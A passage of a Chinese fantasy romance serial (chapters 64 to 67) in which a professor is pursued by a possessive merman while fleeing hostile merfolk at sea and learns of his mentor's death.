他告诉莫里:“我说过我不属于帝国任何势力,也不会帮他们做事,但如果你只是想要用我一个人作为由搞垮他们,我劝你最好放弃。” 此时,半蹲的晏越突然摇晃了一下,谈寺想要去扶他,却被莫里眼疾手快一把拉住。 悬在半空的手不知该放还是不放。 晏越起身站稳后,莫里松开了手。 “我去休息一下。” 望着晏越的背影,谈寺忽然觉得异常苦涩,就连周围的士兵将他带走也没挣扎。 还是走到了这一步。 晏越回到卧室后,几乎沾着枕头就昏过去了。 他睡得很沉,卷着被子,脸烧的通红。 窗被从外推开,只是并没有任何人的身影,灰色的脑袋费劲地挤着窗框爬进来。 一只触手礼貌地将窗关上。 烟灰蛸爬到床上,隔着被子贴在晏越身上。 因为高温,它有些不舒服的扭动了腕足,闭上眼睛最大程度恢复体力。 晏越在梦中,只感觉到一个柔软的东西碰到了自己。 但很快这种感觉消失了,因为他又回到了海洋,变成了人鱼的模样。 他清楚地感知到腰腹下鱼尾的力量,只要轻轻一动,就能在海中游出很远。 奇异的感觉开始蔓延,他变得开始渴望海洋,渴望在海洋中急速奔驰。 甚至他能感觉出来,有一个金色的影子一直跟在不远处。 智告诉他不应该呆在这里,可恐怖的是对海洋的认同感居然在不断侵蚀他作为人类的智。 晏越猛地睁开眼睛,浑身湿透,被子变得湿漉漉沉甸甸的。 他剧烈喘息,看着自己的手,反复确认手指之间没有长出膜。 他坐起身,感觉身侧有一个沉沉的东西。 烟灰蛸灰白的身体因为高温,变得更白了。 它也睡着了,一只短短的腕足还缠在他的手腕上。 他这才知道原来那个柔软的东西是烟灰蛸。 将缠在手腕上的腕足拿下来,他摸了摸烟灰蛸大大的脑袋,走出门。 因为他实在是担心。 舱底关着一个凶猛的海兽,他又在做这种梦。 舱门外的守卫看到晏越来,连忙问好。 晏越额头还是冷汗,草草点头问:“麻醉剂注射了吗,一定要打我说的那个量,少一刻都不行。” 守卫点头:“是的教授。” 晏越还是不放心,拉开门看了一眼。 黑色的屋子里只能看到一只模糊的金色鱼尾。 他用手电筒往里面照了一下,看到人鱼的脖子被嵌在墙上的锁链牢牢捆着,它的双臂被反剪在身后,身上也被栓了一道有成年人手臂粗的锁链。 手电筒照到它的脸上,晏越终于确认了赫瑞斯紧闭着双眼,松了口气。 他将门关上,把门闸牢牢关闭。 可做完这些事还是觉得有些不放心。 他将自己的担忧归结为这段时间一直被赫瑞斯禁锢而导致的神经衰弱。 然后他自嘲地笑了笑。 没想到自己居然被一只人鱼搞成这样。 他又重新回去睡下了。 这次没有梦到自己变成人鱼,却梦到自己浮在一个洞穴的水潭里。 水潭的水不断被从自己身体里冒出来的血液染红,剧痛和悲伤止不住的溢满心脏。 但最让他无法接受的还是灵魂深处传来的空落感。 好想很需要什么来填满。 视野在不断变黑,他开始焦急地寻找那个想要找到的东西。 终于在最后找到了,一条金色的尾巴。 视线中一只被血水染红的手颤抖着伸向了金色的鱼尾,但那条鱼尾没动。 它居高临下地看着他,冰冷的蔚蓝色竖瞳中没有任何感情。 平静无比,像早就看腻了。 巨大的悲痛包裹着他,他甚至分不清这究竟是梦境还是现实。 灼热的眼泪从眼眶开始滑落,一只冰冷的手指轻柔地替他抚净。 狭小的床上,一边是卷着被子躬着像个虾米的人类,另一边则沉了下去。 金色的鱼尾搭在地板上,一串潮湿的水迹从门外延伸至床侧。 人鱼湿漉漉的蹼爪贴在他后脑勺,俯身在他的额间温柔地落下一吻。 在梦境中挣扎痛苦的人缓缓松开了紧皱的眉头。 一夜好眠。 在天将蒙蒙亮的时候,他缓慢地睁开了眼睛。 身侧冰凉的东西不再是烟灰蛸,而是人鱼。 它闭着眼睛的模样跟人类并无差别,柔软的床头灯光打在它的侧脸上,显得温柔无比。 但这一切落入晏越眼里,却变得格外恐怖,让他如坠冰窖。 第64章 第 64 章 选择 晏越甚至不知道赫瑞斯是什么时候进来的, 更不敢想自己在它身边睡了多久。 他居然睡得这么沉,完全不知道身边的烟灰蛸什么时候变成了人鱼。 而且下半夜他睡得格外安稳。 这太荒谬可笑了。 他的智在抗拒赫瑞斯,可心和本能却在渴求它身边的安稳。 究竟是因为那些纠葛不清的神秘联系, 还是因为他的习惯,他自己都不敢细想。 反应过来后, 晏越整个人从床上弹射起来, 下意识就猛地向后仰去。 殊不知他躺的已经是床边了,身后空空如也, 所以不出所料的摔下去了。 只是迎接他的并不是冷硬的地板, 而是一只鱼尾。 床上的人鱼仍没醒来,粗壮的鱼尾却垫在他背后,将撞击缓冲。 滑溜溜的鱼尾趁机撩开他的衣服,有意无意摩擦着他的脊椎。 坚硬的鱼鳞擦着尾椎骨, 划过的地方瞬间起了一片冷战,然后开始泛红。 因为着急, 晏越摔下去的姿势也很奇怪。 此时他的两条腿还搭在床边, 人却在地上。 他用不上力, 只能任由那条不安分的鱼尾挑逗着身体。 晏越涨红了脸,想要呵斥它, 却看到床上的赫瑞斯还没醒。 似乎这只是它的本能反应。 这段时间它总是喜欢睡在他身边, 鱼尾缠在他身上。 或者是腰, 或者是腿, 总之要缠着什么才好。 晏越只能吞下这口气, 毕竟赫瑞斯醒来后麻烦才大。 他不想弄出声音,索性撑着地板坐起来。 但他稍微一动,那尾鳍就像是大扇面一样贴上了他的胸膛肋骨,缠的更紧了。 做出这些事的赫瑞斯并没有任何苏醒的征兆, 这让晏越的愤怒无从发泄。 所以他只能一只手撑着地板支撑自己全身的重量,然后努力挺起胸膛。 另一只手费劲地捏着它的尾鳍,想要将尾鳍掀开。 赫瑞斯的尾鳍上有细小的倒刺,虽然并没有竖起,但磨蹭在稚嫩的肌肤和敏感地带还是让他开始手抖。 越着急越容易出错。 它滑溜溜的尾鳍许多次都从他的手指缝中溜走。 衣服被撩的很靠上,瓷白的肌肤上遍布暧昧痕迹。 该死的,怎么跟章鱼的吸盘一样拿不下来。 他心中低骂,仍努力想把尾鳍从身上扒拉下来,额头都冒汗了。 他一直在跟这个不老实的鱼尾较劲,没注意到床上的人鱼不知道什么时候缓缓睁开了眼睛,正好整以暇的地看着他。 就这样,他掀开鱼尾,又被赫瑞斯重新缠上。 反反复复如此三四次,纵使他有再好的体力也支撑不住了,手抖得要命,最后一个撑不住摔落。 鱼尾恰到到处的托着他,让他的重量倾在鱼尾上。 晏越抬头就看到赫瑞斯正勾着唇角看着他。 朝阳的日光照在它的侧脸上,空气中的尘埃颗粒落在它浅短却密的睫毛上。 蔚蓝色的瞳中居然流露出温柔的目光。 晏越一时竟愣住了,不是因为它的外貌有多具有蛊惑性,而是它的眼神居然像人类一样。 不,并不是像,可以说是跟人类并无两样。 温柔、平静又珍视。 像最普通的人类一样,温柔地看着自己所珍爱之人。 可这目光落入晏越眼底却感觉刺眼无比。 因为他在见证赫瑞斯的进化。 什么时候开始,那双非人的竖瞳中不再是冰冷、阴森和暴虐,取而代之的是这些复杂的人类感情。 人鱼的世界是弱肉强食的,它们阶级分明等级森严,不存在道德感,随心所欲,暴虐又嗜血。 所以纵使野兽披上了人类的皮囊,也永远只是野兽。 可倘若野兽在不断压抑兽性向人类靠拢呢? 到那时它跟人类并无区别,甚至可以完美融入人类社会。 它在变成人类,未来或许可以解人类的所有思想和感情。 那他之前遭受过得苦痛又算什么。 “咚!” 晏越突然剧烈挣扎,猛地从鱼尾上翻身下来砸落在地。 赫瑞斯没想到他居然有这么强烈的反应,一时没拉住。 因为着急接他,它略略起了身。 门外的巡逻士兵听到异样,走到门口问:“阁下,请问需要帮助吗?” 里面没声音。 地上的青年退至墙角,冷冷地看着床上的人鱼。 赫瑞斯挑眉。 它无所谓有没有人进来,但晏越不是。 他丝毫不怀疑,只要他让守卫进来,迎接他的结局会跟在第七基地时一样。 赫瑞斯一个不开心,就能把这里的人全都杀了。 于是他只能跟巡逻士兵说:“我没事。” 待巡逻士兵走远后,他问赫瑞斯:“你什么时候醒的,为什么能出来,我分明让他们给你注射了麻醉剂。” 赫瑞斯放下伸在半空的蹼爪,撑着脑袋看着他:“那个东西对我没用,我没晕过去。” “什么?” 晏越瞳孔一缩。 赫瑞斯抿起唇角,爬到床边,撑着身子居高临下地看他。 金色的长发如瀑般坠落,笼在他身侧。 像是它给他打造了一个金色的璀璨的牢笼。 牢笼坚不可摧,只要他走进去,就再也离不开了。 它语气很轻:“不这样的话,你怎么会带我一起走呢?” 晏越无比震惊。 赫瑞斯的意思是从在船上开始,麻醉就压根没起任何作用。 它不是被他抓到的,也不是被麻醉的。 它是故意的,装作被抓到的模样。 好笑的是,他们所有人都被赫瑞斯骗了,被一只人鱼骗了! 晏越气极反笑。 他已经不知道栽在它手里多少次了。 好在他留了个心眼,知道赫瑞斯很有可能什么时候会从舱底跑出来。 他猛地跳起来,要去勾床头柜里面的麻醉剂。 鱼尾比床头柜更先到来。 它压着他到了地上,身躯撞在地板上又发出沉重的一声。 紧接着,它俯身而上,蹼爪贴在他的胸膛又将他压回去。 他被逼在墙角,这次是彻底动不了了。 “你要干什么。” 晏越闷哼一声,手足无措抵着它靠近的胸膛。 赫瑞斯在他耳边呢喃:“为什么你就是不愿意接受我呢?” 潮湿的气息喷洒在颈侧,晏越偏开头,故意拉开他们之间的距离。 虽然他不想再说,但逃亡逃的心神俱疲。 他已经没时间再跟赫瑞斯玩你追我赶的游戏了。 “我说过很多遍,我不会变成人鱼跟你回去,我是人类,有我一定要做的事,你如果一定要带我走,那带走的只能是我的尸体。” 赫瑞斯捏着他柔软的耳垂,敛眸不知道在想什么。 晏越没图它能想通,毕竟他说了这么多次,赫瑞斯依旧这么固执己见。 “但你们走不出这里。” 它说。 晏越挑眉皱着眉头问赫瑞斯什么意思。 赫瑞斯冰凉的掌心贴在他的耳根,慢慢说:“听。” 晏越怀着质疑的心仔细听了,这一听,脸沉了下来。 许多嘈嘈杂杂的声音一股脑涌入耳朵里。 鱼群惊慌逃窜声、水流急速涌动声 “这是什么声音。” 他抬头看赫瑞斯,眼中的警告意味再明显不过了。 赫瑞斯却告诉他:“你们激怒了守卫人鱼,它们将你们视作了攻击目标。” 晏越一顿,突然意识到当时他们将那些海洋生物击落,俨然已经是在挑衅海洋了。 但他决不能留在这里。 如果再耽误下去,父母的秘密会永远埋在冰川下了。 他讨厌看到赫瑞斯那种看好戏的眼神,用力拽它金色的长发,迫使它低下头颅。 他问赫瑞斯:“怎么样才能让它们放弃。” 赫瑞斯说:“只要你们还在海上,它们就永远不会放弃追杀,至死方休。” 说完,它甚至还告诉晏越:“我可打不过它们一群人鱼。” “这艘船上的所有人类一定会死,我只能带你一个离开。” 它用鼻尖蹭他的侧颈,冰凉的唇反复磨蹭。 “别这么蹭我”,晏越推开它的脑袋,“那就让它们一直追,追到它们体力不支,追到死。” 赫瑞斯突然停下了动作,直视他的眼睛。 半晌,它终于开口,“如果不让你去做那件事,你就永远都不会留在我身边,是吗?” 它的目光灼热,刺的晏越下意识想要错开,但生生忍住了。 他坚定地说:“赫瑞斯,我是人类,你是人鱼,我们永远都不会是一样的。” 赫瑞斯垂下眸子,浅浅的睫毛缓慢地扑闪,让人看不清情绪,甚至给人一种它快哭了的错觉。 他们就这样维持着这个动作不知道有多久,直到传来敲门声。 是霍尔。 “阁下,帝国急讯,您的老师奥凯西教授状态不太好。” “他说有些话想跟您说。” 霍尔的话如雷贯耳,让晏越愣在原地。 虽然他早就做好了准备,可当现实真正到来的那一刻,沉重的悲痛依然还是铺天盖地的压来了。 他瞬间挣扎着爬起来,但几次都没成功,狼狈地踩在鱼尾上向后倒去,最后还是赫瑞斯撑着他的后背将他推起来。 他猛地想要扭开门,可智告诉他不行,床上还有一条凶残的人鱼,他不能放任赫瑞斯留在这里。 船后还有追杀他们的人鱼。 一时间,世间所有的问题都在逼迫他做出一个选择。 可无论哪一个选择,似乎都是错的。 他握着门把的手因为过于用力而开始颤抖。 “阁下?” 门外的霍尔又问了一遍。 “您醒着吗?” 赫瑞斯看着青年背对着它,低着头,紧紧握着门把手。 像握住了最后一根稻草。 门一侧是希望,另一侧是亲人。 最后,是赫瑞斯从床榻下来,蛇行到他身后,蹼爪贴在他的手背上,扭开了门把手。 第65章 第 65 章 回旋镖 “阁下, 原来您醒着” 霍尔的瞳孔剧缩,他猛地拔出配枪进入戒备状态,无比警惕地看向赫瑞斯, 冷汗都滴下来了。 身旁的小卫兵更是一脸惊恐,不可思议地喃喃道:“天啊它究竟是怎么出来的” “去叫人!” 在霍尔的眼里, 晏越无疑现在是被人鱼挟持了。 小卫兵恍如隔世, 立马跑去叫人。 不一会儿便有巡逻士兵纷纷向这里靠拢。 不太宽敞的走廊对于赫瑞斯来说更是别扭。 它甚至没办法直腰,只能微微低下头颅,然后索性将下巴搁在晏越的颈窝, 百无聊赖地玩他的衬衣扣子,连看都懒得看前面那些人一眼。 “放开教授!” “为什么会跑出来,值守人员呢!” “快把教授救出来啊,我的天” 一时间整个走廊都乱了套。 有人看到赫瑞斯没什么动作, 想要悄悄从后面绕过去。 “啊!” 鱼尾像未卜先知一样,调转方向将摸过来的人扫了出去。 霍尔没想到在自己眼皮子底下居然能发生这种事, 冷汗止不住的滴落。 他异常紧张, 生怕赫瑞斯卷着怀里的人再跑走。 他们好不容易把晏越找回来的。 ‘被劫持’的人此时却不像霍尔一群人那样手忙脚乱。 他平静地拍掉了身上那只不安分的蹼爪, “不要乱碰。” 金色的鱼尾看似不耐地轻甩了几下,砸在走廊上却产生无比恐怖的反差。 飞溅的木屑插进墙壁里, 有一些士兵躲闪不急被擦破了皮肤。 不安分的蹼爪极不情愿地拿了下来, 开始摆弄他的衣角。 走廊那头传来急促的脚步声, 莫里带着人匆匆赶来, 看到这个场面也不由得皱起眉头。 “关押人鱼的房间是谁负责看守的?” 赫瑞斯轻轻一动, 蹼指绕着他的衣角转圈,身子动了一下。 对面的人像是惊弓之鸟一样,生怕赫瑞斯暴起。 但它只是因为长时间压低了身体有些不舒服,所以换了个姿势, 侧着脸枕着晏越的颈窝。 莫里敏锐地看到,几个靠得近的士兵抵在扳手上的手指不受控制地在发抖。 毕竟面对这样一只拥有高智商又极其残忍的杀戮海兽,没有多少人能像晏越一样平静。 莫里意识到赫瑞斯并没有攻击的意图,也没有要带晏越离开的想法。 他沉思片刻开口说:“把枪都放下。” 所有人都震惊地看向莫里,包括霍尔。 不过霍尔在莫里身边呆了很多年,马上就明白了他的意思,率先放下了枪。 后面的士兵跟着霍尔一起放下了枪,但仍警惕地看着这只巨大的海兽。 赫瑞斯至始至终都没在乎过他们是不是拿着枪,仿佛这对它来说不值一提。 莫里说:“晏,帝国急讯,过来。” 晏越还没忘记霍尔说的话,刚走出一步,一直没什么反应的人鱼掀起了眼皮,森冷地扫了试图靠近的所有人一眼。 它的蹼爪横亘在他的胸前,不再是之前那样只是无聊地玩玩他的衣服。 现在它的警惕和敌视意味十分明显了。 晏越在众目睽睽之下握住赫瑞斯的手臂并拉开,走出了笼罩在身后的巨大阴影。 所有人都无比紧张,生怕赫瑞斯做出什么举动。 但它只是紧紧注视着他的背影。 莫里插在兜里的手不由得攥紧了,直到晏越走到身边,才算松了一半。 他周围的人瞬间将晏越保护起来,护送晏越离开。 赫瑞斯看着他,逐渐走远。 “少校,那只人鱼怎么办?”有人在莫里身边问。 莫里回头看了一眼,看到它还呆在原地,思考片刻说:“就这样,不要激怒它。” “是!” 莫里将晏越带到一个房间,里面是实时传播屏。 他告诉晏越:“那边传来的消息,你的老师情况很不好,现在他有些话要跟你说。” 实时传播屏幕中的奥凯西带着呼吸面罩。 身旁的人看到传播接通后,将药剂打进奥凯西的身体中。 晏越知道,奥凯西重病太久了,需要有一点清醒的时间。 床上的老人逐渐醒了过来。 他先是转了转浑浊的眼珠,然后看向了实时屏幕。 屏幕那边的年轻人没什么太大的表情。 可奥凯西知道,晏越小时候也是这样。 得知父母死讯参加葬礼的时候,很多人在窃窃私语,说这个孩子太冷血了。 但奥凯西将他带回去后,每个深夜起床时,都能看到从他卧室门下的缝隙中透漏出的光。 他只是不愿意说,不想把痛苦和悲伤表现在表面而已。 相比表达出来,他会选择默默承受。 所以奥凯西每每想到这一天,都会有些怀疑自己,不知道当年将晏越带回来这一举动,是对还是错。 这无疑是让他再次承受了离去的苦痛。 莫里无声地拍了拍他的肩膀,退了出去,给他留了一个独处的空间。 “孩子,你受苦了。” 奥凯西说。 晏越垂下眸子,说:“抱歉,老师,我没办法回到您身边。” 奥凯西费劲地笑了一下,“不必为我感到悲伤,这是已经注定的结局,我只是后悔自己没用,没能让你不再被药剂副作用而苦恼。” 这短短几句话,奥凯西用了很久才说完。 谁都没有催他,他说的很慢很慢。 “孩子,我知道无法阻止你,但我要告诉你,你要面对的不仅仅只是学术上的困难,更是人性的黑暗。” “你的父母死于非命,他们毁了他两个,又要毁了你。” “我曾经天真的以为,只要将你的光芒遮掩就能保护好你,但后来我想我错了。” “你不该因此而蒙尘。” “所有那些针对你的势力,应当都是被陛下暗中允许的,我只能查到这里了。” “我死后,他们将会变得更加猖狂。” 最后,奥凯西面容慈祥,对晏越说:“孩子,抱歉没办法一直保护你了。” 莫里在外面,只能看到晏越的背影,他抱着双臂靠在墙边。 霍尔站在他身边说:“上校,我们接下来要去哪里?帝国那边不能离开太久。” 莫里揉了揉太阳穴,说:“我知道,但必须要去南极那边,而且谈寺这人一直留在船上也不是办法。” 突然,船猛地摇晃了一下。 莫里皱起眉,瞬间严肃起来,“怎么回事?” 霍尔急忙打开联络器,面容沉重。 “不太对劲,后面有三四五只人鱼一直在跟着我们!” “轰!” 霍尔刚说完,远处就发出剧烈的声音,船体又剧烈的摇晃。 “那些人鱼在攻击我们!” “还有那只金尾人鱼跑了,在向这里来了!” 话音刚落,木门就在他们面前飞了过来,霍尔还没反应过来,莫里一把按住他的脑袋压下来。 霍尔惊魂未定看着擦肩而过的木门。 不等他为此担忧,就看到了赫瑞斯出现在门后。 霍尔拿枪指着赫瑞斯试图逼退它。 “砰砰砰——” 枪声响起,但不是霍尔开的枪。 谈寺跑了出来,刚才的枪就是他开的。 他身后还是紧跟着的看守人员,看到这个场面一脸死灰。 赫瑞斯的鱼尾被子弹击中,愤怒咆哮着。 谈寺也不甘示弱大喊:“离他远点!” 赫瑞斯阴冷地看着这几个人类,咧开嘴角,尖锐的獠牙闪着冰冷的色泽。 “滚开,我要带他走。” 谈寺手不停歇,连着对它的方向开枪。 但赫瑞斯像只灵活的蛇,瞬间攀到天花板上躲了过去。 赫瑞斯警告谈寺,“不要碍事,他不想我杀了你,所以你才能活到现在,现在我必须带他走,不然他会跟你们一起死在这里。” 谈寺吼:“你有什么资格带走他!如果不是因为你,他不会受这种亲人离去的痛苦,他现在本该呆在帝国的!” 谈寺大吼着,额头的青筋暴起,“是你一直在拖延他的行动,才让他一而再再而三的错过,现在你还妄想带走他,如果你带走他才会让他活不了!” “他所有的痛苦,都起源于你!” 下一秒,鱼尾铆足了劲砸在谈寺的胸腹上。 谈寺被砸进墙壁上,猛呕出一口血,即便这样还在开枪。 人鱼面容阴沉,蓄势待发。 霍尔站在谈寺面前举起枪。 船在此时剧烈晃动,停止前行。 赫瑞斯知道不能再拖了,不再跟他们争斗,急速向晏越的方向蛇形而去。 子弹紧随其后,谈寺的声音怒不可遏。 “离他远点,你这该死的东西!” 突然,在场几个人包括赫瑞斯在内,都看到门被打开了,里面的人走了出来,声音也从房间中传了出来。 “嘟——” 一时间谈寺忘了开枪。 门后的实时屏幕上,心率检测器上明晃晃一条线,无比刺眼。 谈寺震惊极了,他不敢看晏越的表情,怒火更甚,玩命般向赫瑞斯开枪。 手上的纱布被血浸透也没阻止他的动作。 “现在你满意了?!” 赫瑞斯躲开飞射过来的子弹,来到晏越身前,蹼爪贴在他的脸颊上低声说:“我们得走了。” 但它很快发现了异样,掌心熟悉的温度突然消失了。 冰冰凉的。 它看向自己面前的人类,不顾身后呐喊嘶吼的声音,抬起了他的脸颊。 他没什么表情,顺从地抬起头。 那双黑色的瞳仁像是死水一样毫无波澜。 它见过高兴的、愤怒的甚至是悲伤的他,那时他是鲜活的。 独独没见过这样的他。 它不喜欢他这样子。 不知道为什么,它的耳边突然响起了贝芙丽那句话。 [你要学会尊重他。] 贝芙丽说不然它会后悔的。 彼时它不屑一顾,没想到当初的话像回旋镖一样,在今天狠狠扎在了心口。 “晏越?” 它叫他。 青年垂着眸,没有反应。 第66章 第 66 章 日月可昭 “晏越。” 赫瑞斯说人类的语言时, 跟他们大不相同。 它的尾声总是卷着的,因此声音轻柔又缱绻。 晏越没回答它,眼底很空, 像浩瀚的星宇在此时关闭了星门。 它低下头,鼻翼贴着他的, 蹼爪拖着他的脸颊。 湿润的舌尖轻轻舔舐过他的眼尾, 细细密密的吻落在他的眼眶周围。 “回答我。” 它又叫他的名字。 身后的谈寺被霍尔死死压着身躯,嘴里一直没停止对赫瑞斯的控诉辱骂。 谈寺在看到赫瑞斯贴近晏越时,最后那根线彻底崩掉了。 他爆发出惊人的力量, 将霍尔瞬间掀翻在地,拼命扑到落在一边的枪旁。 “谈寺!” 莫里暴起想要夺下谈寺手里的枪,这个距离很容易误伤晏越的! 谈寺双眼赤红,已经听不进去所有人的话了。 一直以来, 他都望着晏越的背影,也只能望见他的背影。 时间太久了, 这个人甚至快成了信仰。 他永远无法容忍有人试图玷污信仰。 更何况是一只野兽。 所以谈寺现在只想把这只试图玷污信仰的人鱼杀了。 “谈寺!你会伤到他的!” 霍尔的声音忽远忽近, 全然无法阻止谈寺的动作。 莫里飞起一脚踹翻谈寺, 发现谈寺手里的枪怎么都没办法脱离。 血肉模糊的手糊在枪上,严丝合缝。 谈寺只能看到它贴近晏越的脸侧。 如此亲密又暧昧, 落入眼中格外扎眼。 像是一个永不会出错的程序, 突然有一天出现了bug。 一个错误就足以他崩溃了, 他发疯了样要修正这个错误。 于是现在眼里只能看见这个错误了。 “摁住他!” 莫里低骂一句, 拼命夺谈寺手里的枪, 但子弹不可避免的打歪了。 “噗嗤——” 子弹刺入的声音在走廊中格外明显。 莫里震惊的抬头看过去。 人鱼用身躯将晏越保护的严严实实,金色的鱼尾上不断冒着血。 蓝色的血液顺着鱼尾的弧度,滴落在地板上,腐蚀了一片。 霍尔惊呼:“它的血液现在居然带腐蚀性吗?” 莫里皱眉, 费劲地摁着地上的谈寺,想起来之前晏越跟他说的,人鱼的血液效果随着它们的情绪而变化。 他不知道现在这只人鱼的情绪如何,但肯定不好。 船在此时剧烈晃动,船员的叫声远远传来,凄惨无比。 赫瑞斯揽上晏越的腰,温柔唤他:“我们该走了,嗯?” 他垂着眸子,无论它说什么都没给出任何的反应。 赫瑞斯索性不强求他此时给什么反应。 它一拳砸碎走廊的玻璃,抱着他蹿了出去,在甲板上疾行。 浓郁的血味扩散到空中,让人本能的想要干呕。 守卫人鱼从人类尸体中抬起头来,歪着头发现甲板上的金色身影后耳鳍炸起,向同伴嘶鸣传递信息。 几只守卫人鱼甩下手里的人类尸体,相视一眼向赫瑞斯的方向追去。 赫瑞斯牢牢抱着怀中的人,在即将坠入海面的瞬间突然瞳孔一缩,闪身躲开。 不知道从哪里窜出来的人鱼扒着栏杆,像蛇吐信子一样冲着赫瑞斯尖叫。 [滚。] 赫瑞斯不甘示弱,粗壮的尾巴砸落袭击而来的人鱼。 守卫人鱼不说话,指着他怀里的人类呲牙。 意思让赫瑞斯放下晏越,就能放过它。 赫瑞斯视线凌厉,冷笑一声。 [轮到你们这些杂碎跟我讲条件?] 守卫人鱼眯起眼睛,暴起上来,连带将赫瑞斯一起作为攻击的对象。 赫瑞斯虽强壮,但寡不敌众。 最重要的是怀里抱着晏越,它需要时时刻刻保护他,防止他被伤到,因此不得不再次回到船舱内。 士兵看到从天而降的人鱼,吓得张着嘴不会说话了。 赫瑞斯一把推开发呆的士兵,将晏越带去一个房间中,顺手锁上了门。 它用鱼尾托着他的身体,尖锐的牙齿轻易地就咬碎了他的衬衣扣子。 在这段时间里,它手上的动作一直没停。 它用蹼爪抠开胸膛,从心脏尖端剖出Muspora。 赫瑞斯说:“吃下去,你这双腿没办法逃过它们的追捕。” 冰凉的Muspora抵在他的唇间,赫瑞斯甚至没听到他的声音。 它有些疑惑地抬头,看到他仍然保持着之前的姿势,一动没动。 赫瑞斯有些慌了。 它拍拍他的脸颊,叫他。 “晏越?” “晏越。” “晏。” 赫瑞斯沉着脸,将Muspora塞进自己嘴里,覆身而上像以前那样用舌尖抵着送进他的喉里。 意外的是,这次无比顺利。 从来没有这么顺利过。 赫瑞斯本来还有些高兴,但很快就发现了异常。 晏越根本没有吞咽。 Muspora根本不是吞进去的,它卡在他的喉管中间,不上不下。 “吞下去。” 赫瑞斯说。 晏越垂着眸,像是把自己封闭起来了一样,无论外界如何变化,敲击他的壳子,也没有任何回应。 赫瑞斯着急了,“快吞下去。” 它用拇指抵在他的喉结上轻轻施加压力,想要让他吞下去。 晏越再不吞下去,就会窒息的。 “吞下去!” 赫瑞头一次出现了手足无措的感觉。 从前的晏越会反抗,会拒绝,但不会这样,封在自己的世界中。 最后,因为施加的力气不断增大,大到他本能地呕了出去。 大片血迹被呕出去,Muspora反而变成了最不值一提的东西了。 赫瑞斯愣住了。 它看着晏越偏开头,吐出血后开始痛苦地干呕。 可是他太久没正八经进食过了,胃里什么都吐不出来,最后只能吐混着血的胆汁。 苦涩在狭小的空间中四溢。 赫瑞斯蔚蓝的瞳仁缓缓恢复,它问:“你还是一定要离开,对吗?” 晏越没有回答它,但抵在它胸膛的手已经证明了他的立场。 尖叫声和嘶鸣声被狭小的空间全部隔绝在外,赫瑞斯用手臂托着他,看着他因痛苦而皱在一起的眉毛。 [你想要得到他,那就不能只把他当做人鱼的配偶。] [人类是一个很复杂的生物,他们更需要认同,需要尊重,需要爱。] [对于我们来说最重要的力量,对他们来说反而不值一提。] 贝芙丽的声音不断环绕在脑海。 在第七基地时,贝芙丽就看出来这一切都只是赫瑞斯的一厢情愿,晏越并不愿意。 [只有你一个坚持的感情,是不被祝福的。] 赫瑞斯也不知道自己怎么突然就想起来了。 安静的房间里突然响起了它短暂的自嘲声。 此时此刻,它不得不承认,贝芙丽说对了。 它曾经只想要将这个人留在身边,不顾他的意愿,天真的以为只要他留在身边就会万事大吉。 但事实并非如此。 它越是死死握着他,他就会离自己越远,甚至永远都不会心甘情愿留在自己身边。 爱吗? 这种感情本不该出现在人鱼的认知里。 它只知道自己想要真真切切得到他。 不想再看到那双眼睛这么看着自己。 既想要他的人,更想要他的心。 如果只是人鱼,它可能一辈子都无法解晏越。 所以它选择尝试学习,如何用人类的思维方式思考问题。 但实际上,成为人的第一课,就是学会压抑兽性。 否则,它永远都只是披着皮的野兽,无法跟他在一起。 晏越吐到实在没有东西能吐了,死死握着窗边,手抵在自己的胃上。 蹼指轻柔地将他散落下来的碎发别到耳后。 它在想,他的头发长了,之前见到他时,头发还没盖住眼睛。 它说:“一个月。” 晏越不知道它在说什么,他现在脑子很乱,只想自己安静呆着。 它轻轻吻着他的眉骨,动作轻到不能再轻。 像是初学如何珍惜的小孩子,用这种方式表达珍视。 “我给你一个月的时间,一个月以后,无论你在哪里,我都会去找你。” 青年似乎以为自己听错了,错愕地看向赫瑞斯。 但赫瑞斯的眼睛从不会骗人。 它定定地看着他,即便心如刀绞,又重复了一遍。 “我会放你离开的。” “但只能一个月,我不会给你太多时间。” 在它冗长的寿命中,这是第一次学会忍耐自己的情绪。 无论再怎么不舍,也要学会放手。 晏越似乎还没反应过来,但船外混乱的枪击爆炸声无时无刻在催促他们做出选择。 赫瑞斯深深地看了他一眼,在他额头郑重落下一吻,推开窗坠入海中。 海风呼啸着吹进房间内,冰冷又刺骨。 赫瑞斯身上的那股麝香味和潮湿的气息被冰冷的海风尽数吹散。 那抹金色的身影在海洋中迅速离去。 他也不知道为什么,攀着窗边探头去看。 应该是不相信。 毕竟这么久,赫瑞斯死死缠在身边不放手,固执执拗地让晏越以为这辈子就要跟它扯不清楚了。 可突然有一天,赫瑞斯自己离开了。 身后的门被猛地推开,莫里的声音响起。 “那只人鱼把甲板上的守卫人鱼都赶去海里了,趁着现在我们快点离开!” 晏越在茫茫的海洋中看到了那抹金色身影,格外耀眼。 它的对面是许多守卫人鱼。 但它只有自己。 守卫人鱼对赫瑞斯说:[你选择为了人类,背叛人鱼,背叛海神吗?] 只要赫瑞斯点头,那从此它将会被所有的人鱼种族驱逐,面临无休止的追杀。 赫瑞斯勾起唇角,眼神嘲弄。 突然,整艘船上都听到了赫瑞斯的高鸣。 清澈又极具生命力。 像是在昭示着什么,但又更像是某种浪漫的告白。 日月可昭,直至沧海桑田。 我只认他。 第67章 第 67 章 独属于它的方式 因为船体受了损伤, 航行速度大大降低。 如果不是赫瑞斯在船后面拖住那些守卫人鱼,能不能逃出它们的狩猎圈都是个问题。 “晏越!” 莫里瞳孔一缩,看到白浪中急速逼近的一个东西。 他虽然不知道是什么, 但直觉告诉他这绝对不是什么好事。 莫里扑过去拉开晏越。 同时一个灰白色粗壮的触手一把拽住那个冲过来的东西。 两个人跌坐在地,他们也看清了那究竟是什么。 是一只巨大且锋利的骨刺, 比人的头颅还要大。 这个如果刺过来, 别说人的脑袋,半艘船都能刺穿。 莫里不由得有些后怕,这么一个庞然大物究竟是怎么突然出现的。 还有那个拽住骨刺的巨大触手, 这又是什么? 那根骨刺被抛出去后,刺中了一只偷袭的守卫人鱼。 守卫人鱼被触手卷着摔打在海平面上,最后彻底断了气。 莫里火速起身拔出配枪。 但他看着那不过半只小臂长的枪,很快意识到, 在这种庞大的海底巨兽面前,人类花费了数百年造出的热兵器, 不堪一击。 于是莫里拽起晏越就要带他走。 “先等等。” 晏越不着痕迹躲开莫里的手, 在莫里惊讶的目光下走向触手。 “晏越, 别过去!那” 莫里的话戛然而止。 触手并没有伤害他,将骨刺抛出去以后眷恋地轻轻蹭着他的手背。 然后莫里看到触手想要挤进窗里, 但费劲半天只能挤进来三根。 